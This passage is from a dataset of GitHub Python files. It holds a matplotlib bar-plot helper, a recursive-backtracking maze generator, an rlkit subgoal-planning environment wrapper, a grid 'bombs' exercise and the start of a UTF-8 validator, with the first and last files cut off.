to aggregate on.\r\n vert : bool, default=True\r\n Determines whether the plot is vertical or horizontal\r\n sort : bool, default=True\r\n Sorts the data or labels\r\n ax : matplotlib.ax.Axes, optional, default=None\r\n If None, creates one.\r\n width : float, default=0.8\r\n The width of each bar in the barplot\r\n label_rotation : float, default=0\r\n The degrees of rotation to the ticklabels\r\n cmap : str, default=\"Blues\"\r\n Defines a colormap if color values are specified\r\n\r\n Returns\r\n -------\r\n ax : matplotlib.ax object\r\n Allows further modifications to the axes post-boxplot\r\n \"\"\"\r\n\r\n if ax is None:\r\n fig, ax = plt.subplots(figsize=(8, 5))\r\n\r\n # fetch ticks and labels based on the opposite axis\r\n _labels = data.index if axis in (\"columns\", 1) else data.columns\r\n _ticks = np.arange(len(_labels))\r\n # given axis, get mean and std values to plot.\r\n m_v = data.mean(axis=axis).values\r\n m_sd = data.std(axis=axis).values\r\n # sort out colour\r\n pal = _determine_color_palette(c, _ticks.shape[0], cmap)\r\n\r\n # perform sorting if true\r\n if sort:\r\n _ord = np.argsort(m_v)\r\n # apply order to data\r\n if not isinstance(c, (type(None), str)):\r\n _labels, m_v, m_sd, pal = _apply_data_sort(_ord, _labels, m_v, m_sd, pal)\r\n else:\r\n _labels, m_v, m_sd = _apply_data_sort(_ord, _labels, m_v, m_sd)\r\n\r\n # now plot\r\n _plot_bar_orient(\r\n ax, _ticks, _labels, m_v, m_sd, c=pal, w=width, vert=vert, lrot=label_rotation\r\n )\r\n\r\n return ax\r\n\r\n\r\ndef widebar(\r\n data: pd.DataFrame,\r\n c: Optional[_ArrayLike] = None,\r\n vert: bool = True,\r\n ax: Optional[mpl.axes.Axes] = None,\r\n legend: bool = True,\r\n measured: Optional[str] = None,\r\n total_width: float = 0.8,\r\n label_rotation: float = 0.0,\r\n cmap: str = \"Blues\",\r\n **bar_kws\r\n):\r\n \"\"\"Plots a barplot with column data as hues.\r\n\r\n Note that columns in the data correspond to data that\r\n is to be 'hued'.\r\n\r\n Parameters\r\n ----------\r\n data : pd.DataFrame\r\n The data to plot on. Columns correspond to hue variable (see seaborn).\r\n c : list/tuple/np.ndarray/pd.Series (1d), optional\r\n Defines the colour of each bar.\r\n If array/list, must be a categorical type.\r\n If None, uses an automatic qualitative palette\r\n vert : bool, default=True\r\n Determines whether the plot is vertical or horizontal\r\n ax : matplotlib.ax.Axes, optional, default=None\r\n If None, creates one.\r\n legend : bool, default=True\r\n Draws the legend bar if True, otherwise hides it\r\n measured : str, optional\r\n Defines the label to describe the measured variable\r\n total_width : float, default=0.8\r\n The total width of each variable (before hued)\r\n label_rotation : float, default=0\r\n The degrees of rotation to the ticklabels\r\n cmap : str, default=\"Blues\"\r\n Defines a colormap if color values are specified\r\n\r\n Other Parameters\r\n ----------------\r\n bar_kws : keywords\r\n additional arguments to pass to plt.bar or plt.barh depending on application\r\n\r\n Returns\r\n -------\r\n ax : matplotlib.ax object\r\n Allows further modifications to the axes post-boxplot\r\n\r\n See Also\r\n --------\r\n matplotlib.pyplot.bar\r\n seaborn.barplot\r\n \"\"\"\r\n if ax is None:\r\n fig, ax = plt.subplots(figsize=(8, 5))\r\n\r\n _n, _p = data.shape\r\n # calculate each width\r\n w = total_width / _p\r\n # set column ticks\r\n x = np.arange(_n)\r\n\r\n if c is None:\r\n pal = palette_cmap(_p, cmap=cmap)\r\n else:\r\n if len(c) != _p:\r\n raise ValueError(\"'c' must be the number of dimensions\")\r\n pal = list(c)\r\n\r\n # draw differently based whether vertical or not\r\n bar_plot_f = ax.bar if vert else ax.barh\r\n ticks_f = ax.set_xticks if vert else ax.set_yticks\r\n labels_f = ax.set_xticklabels if vert else ax.set_yticklabels\r\n\r\n # using the appropriate functions, map with vert considered.\r\n for j in range(_p):\r\n bar_plot_f(\r\n x + j * w,\r\n data.iloc[:, j],\r\n w,\r\n label=data.columns[j],\r\n color=pal[j],\r\n **bar_kws\r\n )\r\n ticks_f((x - w / 2.0) + (total_width / 2.0))\r\n labels_f(data.index, rotation=label_rotation)\r\n # add legend\r\n if legend:\r\n ax.legend()\r\n # add label if measured is set\r\n if measured is not None:\r\n ylabel_f = ax.set_ylabel if vert else ax.set_xlabel\r\n ylabel_f(measured)\r\n # return\r\n return ax\r\n","repo_name":"gregparkes/turbopanda","sub_path":"turbopanda/plot/_bar.py","file_name":"_bar.py","file_ext":"py","file_size_in_byte":12413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37586123822","text":"#!/usr/bin/env python\nimport time\nfrom Grid import *\nimport random\nfrom pil_draw import PilGrid\nimport time\n# import pprint\n\nrandom.seed(time.time())\n\n\n# recursive backtracking algorithm\n# returns a dictionary with cells as keys\n# and the walls they have left as values\ndef recursive_backtracker(grid_object):\n start_time = time.time()\n cells = grid_object.all_cells()\n starting_cell = grid_object.random_cell()\n # sorted(cells)\n current_cell = starting_cell\n history = []\n visited = []\n while len(visited) != len(cells):\n valid_moves = current_cell.get_valid_moves(visited)\n if valid_moves:\n random.shuffle(valid_moves)\n next_cell = random.choice(valid_moves)\n current_cell.carve_passage(next_cell)\n history.append(current_cell)\n current_cell = next_cell\n visited.append(current_cell)\n continue\n else:\n try:\n current_cell = history.pop()\n continue\n except IndexError:\n break\n stop_time = time.time()\n print('Finished.')\n print('Generation took {0} seconds.'.format(stop_time-start_time))\n return\n\n\nif __name__ == '__main__':\n my_grid = PilGrid(100, 100)\n recursive_backtracker(my_grid)\n # my_grid.calculate_distances()\n # pprint.pprint(my_grid.distances)\n my_grid.color_grid('red')\n print(len(my_grid.get_dead_ends()))\n my_grid.draw_maze()\n","repo_name":"julius383/mazes","sub_path":"recursive_backtracking.py","file_name":"recursive_backtracking.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24739176162","text":"import abc\nfrom collections import OrderedDict\n\nimport gym\nimport gym.spaces\nimport numpy as np\nimport torch\nimport matplotlib.pyplot as plt\nfrom typing import Union, Callable, Any, Dict, List\n\nfrom rlkit.core.distribution import DictDistribution\nfrom rlkit.torch import pytorch_util as ptu\n# from rlkit.util.io import load_local_or_remote_file\nfrom rlkit import pythonplusplus as ppp\n\nfrom rlkit.vae import vqvae\nfrom rlkit.planning.rb_mppi_planner import RbMppiPlanner \n\n\nPath = Dict\nDiagnostics = Dict\nContext = Any\nContextualDiagnosticsFn = Callable[\n [List[Path], List[Context]],\n Diagnostics,\n]\n\n\ndef batchify(x):\n return ppp.treemap(lambda x: x[None], x, atomic_type=np.ndarray)\n\n\ndef insert_reward(contexutal_env, info, obs, reward, done):\n info['ContextualEnv/old_reward'] = reward\n return info\n\n\ndef delete_info(contexutal_env, info, obs, reward, done):\n return {}\n\n\ndef maybe_flatten_obs(self, obs):\n if len(obs.shape) == 1:\n return obs.reshape(1, -1)\n return obs\n\n\nclass ContextualRewardFn(object, metaclass=abc.ABCMeta):\n \"\"\"You can also just pass in a function.\"\"\"\n\n @abc.abstractmethod\n def __call__(\n self,\n states: dict,\n actions,\n next_states: dict,\n contexts: dict\n ):\n pass\n\n\nclass UnbatchRewardFn(object):\n def __init__(self, reward_fn: ContextualRewardFn):\n self._reward_fn = reward_fn\n\n def __call__(\n self,\n state: dict,\n action,\n next_state: dict,\n context: dict\n ):\n states = batchify(state)\n actions = batchify(action)\n next_states = batchify(next_state)\n reward, terminal = self._reward_fn(\n states,\n actions,\n next_states,\n context,\n # debug=True,\n )\n return reward[0]\n\n\nclass ContextualEnv(gym.Wrapper):\n\n def __init__(\n self,\n env: gym.Env,\n context_distribution: DictDistribution,\n reward_fn: ContextualRewardFn,\n observation_key=None, # for backwards compatibility\n observation_keys=None,\n update_env_info_fn=None,\n contextual_diagnostics_fns: Union[\n None, List[ContextualDiagnosticsFn]] = None,\n unbatched_reward_fn=None,\n ):\n super().__init__(env)\n\n if contextual_diagnostics_fns is None:\n contextual_diagnostics_fns = []\n\n if not isinstance(env.observation_space, gym.spaces.Dict):\n raise ValueError(\"ContextualEnvs require wrapping Dict spaces.\")\n\n spaces = env.observation_space.spaces\n for key, space in context_distribution.spaces.items():\n spaces[key] = space\n\n self.observation_space = gym.spaces.Dict(spaces)\n self.reward_fn = reward_fn\n self._last_obs = None\n self._update_env_info = update_env_info_fn or insert_reward\n\n self._curr_context = None\n\n self._observation_key = observation_key\n del observation_keys\n\n self._context_distribution = context_distribution\n self._context_keys = list(context_distribution.spaces.keys())\n\n self._contextual_diagnostics_fns = contextual_diagnostics_fns\n\n if unbatched_reward_fn is None:\n unbatched_reward_fn = UnbatchRewardFn(reward_fn)\n\n self.unbatched_reward_fn = unbatched_reward_fn\n\n def reset(self):\n obs = self.env.reset()\n self._curr_context = self._context_distribution(\n context=obs).sample(1)\n self._add_context_to_obs(obs)\n self._last_obs = obs\n return obs\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n self._add_context_to_obs(obs)\n new_reward = self._compute_reward(self._last_obs, action, obs, reward)\n self._last_obs = obs\n info = self._update_env_info(self, info, obs, reward, done)\n return obs, new_reward, done, info\n\n def _compute_reward(self, state, action, next_state, env_reward=None):\n \"\"\"Do reshaping for reward_fn, which is implemented for batches.\"\"\"\n if not self.reward_fn:\n return env_reward\n else:\n return self.unbatched_reward_fn(\n state, action, next_state, self._curr_context)\n\n def _add_context_to_obs(self, obs):\n for key in self._context_keys:\n obs[key] = self._curr_context[key][0]\n\n def get_diagnostics(self, paths):\n stats = OrderedDict()\n contexts = [self._get_context(p) for p in paths]\n for fn in self._contextual_diagnostics_fns:\n stats.update(fn(paths, contexts))\n return stats\n\n def _get_context(self, path):\n first_observation = path['observations'][0]\n return {\n key: first_observation[key] for key in self._context_keys\n }\n\n\nclass SubgoalContextualEnv(ContextualEnv):\n\n def __init__(\n self,\n env: gym.Env,\n context_distribution: DictDistribution,\n reward_fn: ContextualRewardFn,\n observation_key=None, # for backwards compatibility\n observation_keys=None,\n goal_key=None,\n goal_key_reward_fn=None,\n use_encoding=None,\n update_env_info_fn=None,\n contextual_diagnostics_fns: Union[\n None, List[ContextualDiagnosticsFn]] = None,\n unbatched_reward_fn=None,\n # Planning.\n planner=None,\n num_planning_steps=None,\n fraction_planning=None,\n subgoal_timeout=None,\n subgoal_reaching_thresh=None,\n buffer_size=20,\n mode=None,\n ):\n\n super().__init__(\n env=env,\n context_distribution=context_distribution,\n reward_fn=reward_fn,\n observation_key=observation_key,\n observation_keys=observation_keys,\n update_env_info_fn=update_env_info_fn,\n contextual_diagnostics_fns=contextual_diagnostics_fns,\n unbatched_reward_fn=unbatched_reward_fn,\n )\n\n self._planner = planner\n self._goal_key = goal_key\n self._goal_key_reward_fn = goal_key_reward_fn\n self._use_encoding = use_encoding\n self._num_planning_steps = num_planning_steps\n self._num_subgoals = None\n self._fraction_planning = fraction_planning\n\n self._subgoal_timeout = subgoal_timeout\n self._subgoal_reaching_thresh = subgoal_reaching_thresh\n self._subgoal_timer = None\n self._subgoal_id = None\n\n # if self._goal_key == 'image_desired_goal':\n # assert self._goal_key_reward_fn == 'latent_desired_goal'\n\n # self._context_keys = [goal_key]\n # assert len(self._context_keys) == 1, 'self._context_keys: %r' % (\n # self._context_keys)\n\n # print('self._context_keys: ', self._context_keys)\n # print('self._goal_key: ', self._goal_key)\n # input()\n\n self._plan_th = None\n self._plan_np = None\n self._latent_plan_np = None\n\n self._vqvae = planner.vqvae\n self._obs_encoder = self._vqvae\n self._vf = None\n\n self._subgoals_reached_at = [[]] * self._num_planning_steps\n self._buffer_size = buffer_size\n self._num_episodes = 0\n\n self._episode_reward = 0.0\n\n @property\n def planner(self):\n return self._planner\n\n def set_vf(self, value):\n self._vf = value\n self._planner.vf = value\n\n def set_model(self, model):\n self._planner.affordance = model['affordance']\n self._planner.vf = model['vf']\n self._planner.qf1 = model['qf1']\n self._planner.qf2 = model['qf2']\n if 'obs_encoder' in model:\n self._obs_encoder = model['obs_encoder']\n self._planner.encoding_type = 'vib'\n else:\n self._planner.encoding_type = 'vqvae'\n\n def reset(self):\n obs = self.env.reset()\n\n # Sample the context (initial and goal states)\n self._targ_context = self._context_distribution(\n context=obs).sample(1)\n\n # Plan and switch to the first subgoal.\n curr_state = self._get_curr_state(obs)\n goal_state = self._get_goal_state(obs)\n self._plan(curr_state, goal_state)\n self._maybe_get_next_subgoal(obs, must=True)\n\n # Update obs.\n self._add_context_to_obs(obs)\n self._last_obs = obs\n\n print('Reached subgoals:')\n for subgoal_id in range(self._num_planning_steps):\n self._subgoals_reached_at[subgoal_id] = (\n self._subgoals_reached_at[subgoal_id][\n -self._buffer_size:])\n count = sum(self._subgoals_reached_at[subgoal_id])\n buffer_size = len(self._subgoals_reached_at[subgoal_id])\n rate = float(count) / float(buffer_size + 1e-8)\n print('id %d: %d (%.3f)'\n % (subgoal_id, count, rate))\n\n print('Episode %d, Reward: %.2f'\n % (self._num_episodes, self._episode_reward))\n self._num_episodes += 1\n self._num_steps = 0\n self._episode_reward = 0.0\n\n if isinstance(self._planner, RbMppiPlanner):\n print('RbMppiPlanner num_candidates: %d' %\n (self._planner._num_candidates))\n\n return obs\n\n def step(self, action):\n\n obs, reward, done, info = self.env.step(action)\n new_reward = self._compute_reward(self._last_obs, action, obs, reward)\n # print('t: %d, reward: %.2f' % (self._num_steps, new_reward))\n info = self._update_env_info(self, info, obs, reward, done)\n\n # Update obs.\n self._add_context_to_obs(obs)\n self._last_obs = obs\n\n # Maybe switch to the next subgoal.\n self._subgoal_timer += 1\n self._maybe_get_next_subgoal(obs, reward=new_reward)\n\n curr_state = self._get_curr_state(obs)\n self._planner.update(curr_state)\n\n self._num_steps += 1\n self._episode_reward += new_reward\n\n return obs, new_reward, done, info\n\n def _get_curr_state(self, obs):\n curr_state = obs[self._observation_key]\n if self._use_encoding:\n curr_state = self._obs_encoder.encode_one_np(curr_state)\n return curr_state\n\n def _get_goal_state(self, obs):\n goal_state = self._targ_context[self._goal_key][0]\n if self._use_encoding:\n goal_state = self._obs_encoder.encode_one_np(goal_state)\n return goal_state\n\n def _plan(self, curr_state, goal_state):\n if np.random.rand() > self._fraction_planning:\n plan_np = np.reshape(\n goal_state,\n [1, -1])\n plan_np = np.stack([plan_np] * self._num_planning_steps, 0)\n plan = ptu.from_numpy(plan_np)\n self._num_subgoals = 1\n\n else:\n curr_state = ptu.from_numpy(curr_state)\n goal_state = ptu.from_numpy(goal_state)\n\n plan, _ = self._planner(\n curr_state,\n goal_state,\n self._num_planning_steps,\n )\n plan = plan[:, None, ...]\n plan = torch.flatten(plan, start_dim=2)\n plan_np = ptu.get_numpy(plan)\n\n self._plan_np = plan_np\n\n latent_plan = self._compute_latent_plan(plan)\n if latent_plan is not None:\n self._latent_plan_np = ptu.get_numpy(latent_plan)\n\n self._subgoal_timer = 0\n self._num_subgoals = int(plan.shape[0])\n\n def _compute_latent_plan(self, plan):\n if (self._goal_key == 'image_desired_goal' and\n self.reward_fn.goal_key == 'latent_desired_goal'):\n inputs = plan[:, 0, ...]\n\n if isinstance(self._obs_encoder, vqvae.VqVae):\n inputs = inputs - 0.5\n inputs = inputs.view(\n self._num_planning_steps,\n self._obs_encoder.input_channels,\n self._obs_encoder.imsize,\n self._obs_encoder.imsize)\n inputs = inputs.permute(0, 1, 3, 2)\n latent_plan = self._obs_encoder.encode(inputs)\n else:\n latent_plan = self._obs_encoder(inputs)\n\n latent_plan = latent_plan[:, None, ...]\n return latent_plan\n else:\n return None\n\n def _maybe_get_next_subgoal(self, obs, must=False, reward=None):\n if must:\n assert self._num_subgoals > 0\n self._subgoal_id = 0\n else:\n curr_state = obs[self.reward_fn.obs_key]\n subgoal_state = self._curr_context[self.reward_fn.goal_key]\n\n if self._num_subgoals == 0:\n # No more remaining subgoals in the plan.\n return\n\n if self._subgoal_timer < self._subgoal_timeout:\n if not self._is_subgoal_reached(\n obs[self.reward_fn.obs_key],\n self._curr_context[self.reward_fn.goal_key]):\n return\n else:\n self._subgoals_reached_at[self._subgoal_id].append(1)\n print('### reached subgoal %d' % (self._subgoal_id))\n else:\n # Time out for this subgoal.\n dist = np.linalg.norm(curr_state - subgoal_state)\n print('- dist from subgoal %d: %.3f'\n % (self._subgoal_id, dist))\n self._subgoals_reached_at[self._subgoal_id].append(0)\n\n self._subgoal_id += 1\n\n # Swith to the next subgoal.\n self._curr_context = {}\n for key in self._context_keys:\n if key == self._goal_key:\n self._curr_context[key] = self._plan_np[0]\n self._plan_np = self._plan_np[1:]\n elif key == self.reward_fn.goal_key and key != self._goal_key:\n self._curr_context[key] = self._latent_plan_np[0]\n self._latent_plan_np = self._latent_plan_np[1:]\n else:\n self._curr_context[key] = (\n self._targ_context[key])\n\n self._num_subgoals -= 1\n self._subgoal_timer = 0\n\n def _is_subgoal_reached(self, curr_state, goal_state):\n if self._subgoal_reaching_thresh is None:\n return False\n\n if self._subgoal_reaching_thresh < 0:\n return False\n\n dist = np.linalg.norm(goal_state - curr_state)\n\n return dist < self._subgoal_reaching_thresh\n\n def _plot_state(self, curr_state, subgoal_state, reward):\n dist = np.linalg.norm(curr_state - subgoal_state)\n print('s: ', curr_state.shape, curr_state.mean())\n print('c: ', subgoal_state.shape, subgoal_state.mean())\n print('dist: ', dist, ' epsl: ', self._subgoal_reaching_thresh)\n print('reward: ', reward)\n\n if self.reward_fn.obs_type == 'latent':\n s_t = self._vqvae.decode_one_np(curr_state)\n g_t = self._vqvae.decode_one_np(subgoal_state)\n else:\n s_t = curr_state\n g_t = subgoal_state\n\n plt.figure()\n plt.subplot(1, 2, 1)\n image = np.reshape(s_t, [3, 48, 48])\n image = np.transpose(image, (2, 1, 0))\n plt.imshow(image)\n plt.subplot(1, 2, 2)\n image = np.reshape(g_t, [3, 48, 48])\n image = np.transpose(image, (2, 1, 0))\n plt.imshow(image)\n\n plt.show()\n\n def _debug_plan(self, h_0, h_g, plan):\n plan = [plan[i] for i in range(plan.shape[0])]\n\n s = []\n\n if self._use_encoding:\n h_0 = np.reshape(\n h_0,\n [-1,\n self._vqvae.embedding_dim *\n self._vqvae.root_len *\n self._vqvae.root_len])\n\n for h_t in [h_0] + plan + [h_g]:\n s_t = self._vqvae.decode_one_np(h_t)\n s.append(s_t)\n\n else:\n for h_t in [h_0] + plan + [h_g]:\n if not isinstance(h_t, np.ndarray):\n h_t = ptu.get_numpy(h_t)\n s_t = np.reshape(\n h_t,\n [self._vqvae.input_channels,\n self._vqvae.imsize,\n self._vqvae.imsize])\n s.append(s_t)\n\n horizon = len(s)\n\n plt.figure()\n for t in range(horizon):\n plt.subplot(1, horizon, t + 1)\n image = s[t]\n print(image.shape)\n image = np.transpose(image, (2, 1, 0))\n plt.title('t%02d' % (t))\n plt.imshow(image)\n\n plt.show()\n\n\nclass RoundTripSubgoalContextualEnv(SubgoalContextualEnv):\n\n def __init__(\n self,\n env: gym.Env,\n context_distribution: DictDistribution,\n reward_fn: ContextualRewardFn,\n observation_key=None, # for backwards compatibility\n observation_keys=None,\n update_env_info_fn=None,\n contextual_diagnostics_fns: Union[\n None, List[ContextualDiagnosticsFn]] = None,\n unbatched_reward_fn=None,\n # Planning.\n planner=None,\n num_planning_steps=None,\n fraction_planning=None,\n init_key=None,\n goal_key=None,\n goal_key_reward_fn=None,\n use_encoding=None,\n subgoal_timeout=None,\n subgoal_reaching_thresh=None,\n # Reset-free.\n reset_interval=None,\n ):\n\n super().__init__(\n env=env,\n context_distribution=context_distribution,\n reward_fn=reward_fn,\n observation_key=observation_key,\n observation_keys=observation_keys,\n update_env_info_fn=update_env_info_fn,\n contextual_diagnostics_fns=contextual_diagnostics_fns,\n unbatched_reward_fn=unbatched_reward_fn,\n planner=planner,\n num_planning_steps=num_planning_steps,\n fraction_planning=fraction_planning,\n goal_key=goal_key,\n goal_key_reward_fn=goal_key_reward_fn,\n subgoal_timeout=subgoal_timeout,\n subgoal_reaching_thresh=subgoal_reaching_thresh,\n )\n\n self._init_key = init_key\n\n self._reset_interval = reset_interval\n self._reset_counter = None\n\n def reset(self):\n if (self._reset_counter is None or\n self._reset_interval == self._reset_counter - 1):\n obs = self.env.reset()\n self._reset_counter = 0\n else:\n obs = self.env.reset_gripper() \n obs = self.env.get_observation()\n self._reset_counter += 1\n\n self._targ_context = self._context_distribution(\n context=obs).sample(1)\n\n # Plan and switch to the first subgoal.\n curr_state = self._get_curr_state(obs)\n goal_state = self._get_goal_state(obs)\n self._plan(curr_state, goal_state)\n self._maybe_get_next_subgoal(curr_state, must=True)\n\n # Update obs.\n self._add_context_to_obs(obs)\n self._last_obs = obs\n\n return obs\n\n def _get_goal_state(self, obs):\n # Periodically plan towards the goal state and the initial state.\n if self._reset_counter % 2 == 0:\n goal_key = self._goal_key\n else:\n goal_key = self._init_key\n\n goal_state = self._targ_context[goal_key][0]\n\n if self._use_encoding:\n goal_state = self._obs_encoder.encode_one_np(goal_state)\n\n return goal_state\n\n def end_epoch(self):\n self._reset_counter = None\n\n\nclass NonEpisodicSubgoalContextualEnv(SubgoalContextualEnv):\n\n def __init__(\n self,\n env: gym.Env,\n context_distribution: DictDistribution,\n reward_fn: ContextualRewardFn,\n observation_key=None, # for backwards compatibility\n observation_keys=None,\n init_key=None,\n goal_key=None,\n goal_key_reward_fn=None,\n use_encoding=None,\n update_env_info_fn=None,\n contextual_diagnostics_fns: Union[\n None, List[ContextualDiagnosticsFn]] = None,\n unbatched_reward_fn=None,\n # Planning.\n planner=None,\n num_planning_steps=None,\n fraction_planning=None,\n subgoal_timeout=None,\n subgoal_reaching_thresh=None,\n # Reset-free.\n reset_interval=None,\n mode='d',\n ):\n\n super().__init__(\n env=env,\n context_distribution=context_distribution,\n reward_fn=reward_fn,\n observation_key=observation_key,\n observation_keys=observation_keys,\n goal_key=goal_key,\n goal_key_reward_fn=goal_key_reward_fn,\n use_encoding=use_encoding,\n update_env_info_fn=update_env_info_fn,\n contextual_diagnostics_fns=contextual_diagnostics_fns,\n unbatched_reward_fn=unbatched_reward_fn,\n planner=planner,\n num_planning_steps=num_planning_steps,\n fraction_planning=fraction_planning,\n subgoal_timeout=subgoal_timeout,\n subgoal_reaching_thresh=subgoal_reaching_thresh,\n )\n\n self._init_key = init_key\n self._mode = mode\n\n self._reset_interval = reset_interval\n self._reset_counter = None\n\n self._vf = None\n\n def _get_init_state(self):\n init_key = self._init_key\n init_state = self._targ_context[init_key][0]\n if self._use_encoding:\n init_state = self._obs_encoder.encode_one_np(init_state)\n return init_state\n\n def _get_goal_state(self):\n goal_key = self._goal_key\n goal_state = self._targ_context[goal_key][0]\n if self._use_encoding:\n goal_state = self._obs_encoder.encode_one_np(goal_state)\n return goal_state\n\n def reset(self):\n if (self._reset_counter is None or\n self._reset_counter == self._reset_interval - 1):\n obs = self.env.reset()\n self._reset_counter = 0\n else:\n self.env.reset_gripper()\n obs = self.env.get_observation()\n self._reset_counter += 1\n\n self._targ_context = self._context_distribution(\n context=obs).sample(1)\n\n # Plan and switch to the first subgoal.\n curr_state = self._get_curr_state(obs)\n init_state = self._get_init_state()\n goal_state = self._get_goal_state()\n self._plan(curr_state, init_state, goal_state)\n\n self._maybe_switch_subgoal(curr_state, reset=True)\n\n # Update obs.\n self._add_context_to_obs(obs)\n self._last_obs = obs\n\n return obs\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n new_reward = self._compute_reward(self._last_obs, action, obs, reward)\n info = self._update_env_info(self, info, obs, reward, done)\n\n # Update obs.\n self._add_context_to_obs(obs)\n self._last_obs = obs\n\n # Maybe switch to the next subgoal.\n self._subgoal_timer += 1\n curr_state = self._get_curr_state(obs)\n self._maybe_switch_subgoal(curr_state)\n\n return obs, new_reward, done, info\n\n def _plan(self, curr_state, init_state, goal_state):\n curr_state = ptu.from_numpy(curr_state)\n init_state = ptu.from_numpy(init_state)\n goal_state = ptu.from_numpy(goal_state)\n\n if self._mode in ['r']:\n plan, info = self._planner(\n curr_state,\n goal_state,\n self._num_planning_steps,\n )\n plan = torch.flatten(plan, start_dim=1)\n\n print('plan.shape: ', plan.shape)\n if 'top_cost' in info:\n print('top_cost: ', ptu.get_numpy(info['top_cost']))\n\n else:\n forward_subgoals, _ = self._planner(\n init_state,\n goal_state,\n self._num_planning_steps,\n )\n print('forward_subgoals.shape: ', forward_subgoals.shape)\n forward_subgoals = torch.flatten(forward_subgoals, start_dim=1)\n\n backward_subgoals, _ = self._planner(\n goal_state,\n init_state,\n self._num_planning_steps,\n )\n backward_subgoals = torch.flatten(backward_subgoals, start_dim=1)\n\n plan = torch.cat([forward_subgoals, backward_subgoals], 0)\n print('forward_subgoals: ', forward_subgoals.shape)\n print('backward_subgoals: ', backward_subgoals.shape)\n print('plan: ', plan.shape)\n\n print('plan: ', plan.shape)\n self._plan_th = plan\n self._plan_np = ptu.get_numpy(plan)\n\n latent_plan = self._compute_latent_plan(plan)\n if latent_plan is not None:\n self._latent_plan_np = ptu.get_numpy(latent_plan)\n\n self._subgoal_id = -1\n self._subgoal_timer = 0\n self._num_subgoals = int(plan.shape[0])\n\n def _maybe_switch_subgoal(self, curr_state, reset=False):\n if reset:\n assert self._num_subgoals > 0\n else:\n if self._subgoal_timer < self._subgoal_timeout:\n # Time out for this subgoal.\n return\n\n # Start with the initial state, and keep iterating.\n if self._mode == 'o':\n if reset:\n self._subgoal_id = 0\n else:\n # self._subgoal_id = (\n # self._subgoal_id + 1) % self._num_subgoals\n self._subgoal_id = min(self._subgoal_id + 1,\n self._num_subgoals - 1)\n\n # Start with the most reachable subgoal, then keep iterating.\n elif self._mode == 'a':\n if reset:\n self._subgoal_id = self._get_most_reachable_subgoal(\n curr_state, self._plan_th)\n else:\n # self._subgoal_id = (\n # self._subgoal_id + 1) % self._num_subgoals\n self._subgoal_id = min(self._subgoal_id + 1,\n self._num_subgoals - 1)\n\n # Periodically restart iterating from the most reachable subgoal.\n elif self._mode == 'b':\n if reset or self._reset_timer >= 3:\n self._subgoal_id = self._get_most_reachable_subgoal(\n curr_state, self._plan_th)\n self._reset_timer = 0\n else:\n self._subgoal_id = (self._subgoal_id + 1) % self._num_subgoals\n self._reset_timer += 1\n\n # Keep aiming for the most reachable subgoal.\n elif self._mode == 'c':\n self._subgoal_id = self._get_most_reachable_subgoal(\n curr_state, self._plan_th)\n\n # Uniformly sample a subgoal from the affordance model.\n elif self._mode == 'r':\n init_state = self._get_init_state()\n goal_state = self._get_goal_state()\n self._plan(curr_state, init_state, goal_state)\n self._subgoal_id = 0\n\n # Shuffle the order.\n elif self._mode == 's':\n init_state = self._get_init_state()\n goal_state = self._get_goal_state()\n self._plan(curr_state, init_state, goal_state)\n self._subgoal_id = np.random.choice(self._num_subgoals)\n\n else:\n raise ValueError('Unrecognized mode: %r' % (self._mode))\n\n print('self._subgoal_id: ', self._subgoal_id)\n\n self._curr_context = self._get_subgoal_context(self._subgoal_id)\n\n self._subgoal_timer = 0\n\n def _get_most_reachable_subgoal(self, curr_state, subgoal_states):\n curr_state = ptu.from_numpy(curr_state)\n curr_states = curr_state[None, ...].repeat(self._num_subgoals, 1)\n\n vf_inputs = torch.cat([\n curr_states.view(-1, 720),\n subgoal_states.view(-1, 720),\n ], 1)\n values = self._vf(vf_inputs).detach()\n\n subgoal_id = torch.argmax(values).item()\n\n return subgoal_id\n\n def _get_subgoal_context(self, subgoal_id):\n # Swith to the next subgoal.\n context = {}\n for key in self._context_keys:\n if key == self._goal_key:\n context[key] = self._plan_np[subgoal_id][None, ...]\n elif key == self.reward_fn.goal_key and key != self._goal_key:\n context[key] = self._latent_plan_np[subgoal_id][None, ...]\n else:\n context[key] = self._targ_context[key]\n\n return context\n\n def end_epoch(self):\n self._reset_counter = None\n","repo_name":"patrickhaoy/ptp","sub_path":"rlkit/envs/contextual_env.py","file_name":"contextual_env.py","file_ext":"py","file_size_in_byte":28481,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"27257355098","text":"number_of_rows = int(input())\n\nsquare_matrix = [list(map(int, input().split())) for _ in range(number_of_rows)]\ncoordinates = ((int(x) for x in coordinate.split(\",\"))for coordinate in input().split())\n\nalive_cells = list()\n\ndirections = {\n \"up\": (-1, 0),\n \"down\": (1, 0),\n \"left\": (0, -1),\n \"right\": (0, 1),\n \"top-left\": (-1, -1),\n \"top-right\": (-1, 1),\n \"bottom-left\": (1, -1),\n \"bottom-right\": (1, 1),\n \"bomb-position\": (0, 0),\n}\n\nfor row, column in coordinates:\n if square_matrix[row][column] <= 0:\n continue\n for new_row, new_column in directions.values():\n exploding_row, exploding_column = row + new_row, column + new_column\n if (0 <= exploding_row < number_of_rows) and (0 <= exploding_column < number_of_rows) and\\\n square_matrix[exploding_row][exploding_column] > 0:\n square_matrix[exploding_row][exploding_column] -= square_matrix[row][column]\n\nfor row in square_matrix:\n for element in row:\n if element > 0:\n alive_cells.append(element)\n\nprint(f\"Alive cells: {len(alive_cells)}\")\nprint(f\"Sum: {sum(alive_cells)}\")\n\nfor row in square_matrix:\n print(*row, sep=\" \")\n","repo_name":"Moramarth/SoftUni-Python-Advanced-january-2023","sub_path":"multidimensional_lists/first_exercise_08_bombs.py","file_name":"first_exercise_08_bombs.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5847091024","text":"#!/usr/bin/python3\n\"\"\"utf8 validation Algorithm\"\"\"\n\n\nfrom typing import List\n\n\ndef validUTF8(data: List[int]) -> bool:\n \"\"\"utf8 validation\"\"\"\n numberOfBytes = 0\n\n for num in data:\n bin_rep = format(num, \"08b\")[-8:]\n\n if numberOfBytes == 0:\n for bit in bin_rep:\n if bit == \"0\":\n break\n numberOfBytes += 1\n\n if 